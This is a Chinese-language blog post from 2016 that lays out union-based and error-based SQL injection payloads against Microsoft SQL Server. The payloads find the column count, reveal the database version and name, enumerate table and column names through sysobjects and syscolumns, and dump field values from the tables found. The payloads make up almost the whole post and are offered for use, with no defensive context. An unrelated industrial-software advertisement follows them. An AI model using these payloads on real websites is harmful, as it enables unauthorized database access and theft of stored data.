union查询SQL注射

互联网/新科技 beaji 2016-06-11 20:12 1056 0

 

'//猜漏洞页面所查询表名有多少字段(获取union列数)
order by N
union select 1,2,3,4,...,N from sysobjects 
union select 1,2,3,4,...,N from master.dbo.sysobjects

'//查数据库版本和数据库名
union select 1,@@version,db_name(),3,4,...,N from master.dbo.sysobjects

'//查询表名(从0开始增加第二个top N的数字就可以遍历当前数据库表名了)
union select 1,2,(select top 1 name from sysobjects where xtype='u' and name not in(select top 0 name from sysobjects where xtype='u')),4,...,N from master.dbo.sysobjects

'//查其他数据库的表名
union select 1,2,(select top 1 name from [dbname]..sysobjects where xtype='u' and name not in(select top 0 name from [dbname]..sysobjects where xtype='u')),4,...,N from master.dbo.sysobjects

'//猜字段名(从0开始增加第二个top N的数字就可以遍历admin表的字段名了)
union select 1,2,(select top 1 name from syscolumns where id in (select id from sysobjects where name='已猜出表名') and name not in (select top 2 name from syscolumns where id in (select id from sysobjects where name='已猜出表名'))),4,...,N from master.dbo.sysobjects

'//暴数据
union select top 1 1,字段名一,字段名二,4,...,N from 已猜出表名 where name not in (select top 0 name from 已猜出表名)


'//暴出当前表名和第一个列名
having 1=1--

'//暴第二个列名,第N个列名
' group by 第一个列名 having 1=1--,
' group by 第一个列名,第二个列名 having 1=1--,


'//获取显示数据位置
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25

'//Union猜解表名
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from 表名 where 1=1

'//And 子语句猜解表名、字段
and exists(select * from 表名)
and exists(select 字段名 from 已猜出表名)



五大“核芯”产品,一大“技术输出”: 【智慧集团管控平台】: 关键词:【集团专属系统平台】,【实时对比】各区域工厂【同一时间段的生产数据】。 【智能工厂管家】:(MES) 关键词:【现场监控可视化、业务流程规范化、生产管理精细化、能源利用合理化、资源配置最优化、调度决策科学化】。 【智能调度器】:(APC) 关键词:【智能控制】,【关键参数实时优化推荐】,【长期稳定运行】 【孪生工厂】: 关键词:【工厂实体建模】,【设备预警】,【关键参数】、【实时展示大屏】 【超低排放助手】: 关键词:【超低排放】,同时降低【20%】以上的还原剂使用量。 【一大技术输出】  技术成品输出:  关键词:提供【成品软件】,或【专项定制研发软件】。  技术能力输出:  关键词:【专业技术团队】、【驻扎项目】

评论区